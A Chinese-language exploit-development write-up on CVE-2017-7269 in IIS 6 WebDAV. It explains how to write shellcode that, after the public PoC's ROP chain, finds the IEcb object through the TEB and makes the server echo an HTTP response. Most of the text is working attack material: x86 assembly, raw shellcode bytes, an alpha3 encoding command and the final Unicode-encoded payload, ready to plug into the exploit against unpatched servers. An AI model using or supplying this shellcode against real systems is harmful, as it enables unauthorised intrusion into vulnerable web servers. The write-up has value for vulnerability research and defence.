CVE-2017-7269 漏洞引发溢出漏洞,但是由于原来IIS 6 启用栈保护的,不能直接对栈上的Ret Address 进行操作,漏洞PoC 上实现的ROP 很巧妙,通过内存复制溢出修改IEcb 对象,控制IEcb 对象的地址,在ScStripAndCheckHttpProfix() 里触发虚函数调用,调到rsaenh.dll 里,此时Payload 已经改写rsaenh.dll 的内容,最后通过ROP 链获取KiFastSystemcall 利用ShareUserData ,再返回到ShellCode .现在我们针对ShellCode 开发,让IIS 6 产生回显.

  IIS 创建完成容器之后,把对象传递到CDAVExt::DwMain() ,CDAVExt::DwMain() 再去解析HTTP 头部,触发漏洞.我们在分析CDAVExt::DwMain() 函数,发现IEcb 对象可以操控IIS 容器进行请求响应.

  这样一来,我们只需要获取到栈上创建的IEcb 对象并且构造对虚函数的调用即可.

  最后会保存到这个位置

  那么难点在于,在跳到ShellCode 的时候,原堆栈已经不再ESP 和EBP 寄存器中保存

  这种情况需要用到TEB 结构来获取栈信息,在TEB+4 的位置保存了栈顶的地址

于是通过栈顶与目的对象的偏移计算便可以得到该对象,下面是汇编代码

mov ecx,fs:[18h]
mov ecx,[ecx+4]
sub ecx,340h
mov ecx,[ecx]

获取到对象之后,再去得到对象的虚函数入口点

mov eax,[ecx]
mov eax,[eax+0A0h]

接下来就是函数调用构造

push edi
push 13
add edi,14;
push edi
push 84
call eax

字符串和ShellCode 保存在一起,于是还需要通过寻址的方式找到字符串

call 0
pop esi
mov edi,esi;
add edi,11h;  //  11h 后面就是字符串

组合所有的ShellCode ,建议在VC++ 6 下编译

​    **asm {      int 3 // for debug      mov ecx,fs:[18h]      mov ecx,[ecx+4]      sub ecx,340h      mov ecx,[ecx]      mov eax,[ecx]      mov eax,[eax+0A0h]      push ecx      push 200      call address    };    address:    **asm {
​      pop esi
​      mov edi,esi;
​      add edi,11h;
​      push edi
​      push 13
​      add edi,14;
​      push edi
​      push 84
​      call eax
​      //  下面的字符串需要手动构造
​      //db "CVE-2017-7269\0"
​      //db "Content-Type: text/html\r\nContent-Length:31 \r\n\r\n<body>CVE-2017-7269 Vuln</body>\0"
​    };

最终处理的ShellCode 如下:

"\xCC\x64\x8B\x0D\x18\x00\x00\x00\x8B\x49\x04\x81\xE9\x40\x03\x00\x00\x8B\x09\x8B\x01\x8B\x80\xA0\x00\x00\x00\x51\x68\xC8\x00\x00\x00\xE8\x00\x00\x00\x00\x5E\x8B\xFE\x83\xC7\x11\x57\x6A\x0D\x83\xC7\x0E\x57\x6A\x54\xFF\xD0CVE-2017-7269\0Content-Type: text/html\r\nContent-Length:26 \r\n\r\nHHIT CVE-2017-7269 Success\0"

最后使用Unicode 编码,命令如下:

​    alpha3.exe --nocompress --uppercase --unicode esi

得到最终ShellCode

VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397N10WRJLMSSI7LNR72JPTKOXPQ3PV0ENM02NPNQNWNMNWOBNVP9KPOS2O2NT4S52N44NMB4RYD0C5OJMPBTQURX44NORH2TRMBLLMKZPCRORNSDQU2N2TNMPL1URN2GT4S8OJOBOFMPLMKZLMLJOXOX1924MPOSPV0ENMNRP0NQNWNMOGNROFP9O01CRU3333RET3SCM0M0A

--  HT team.

源链接

Hacking more

...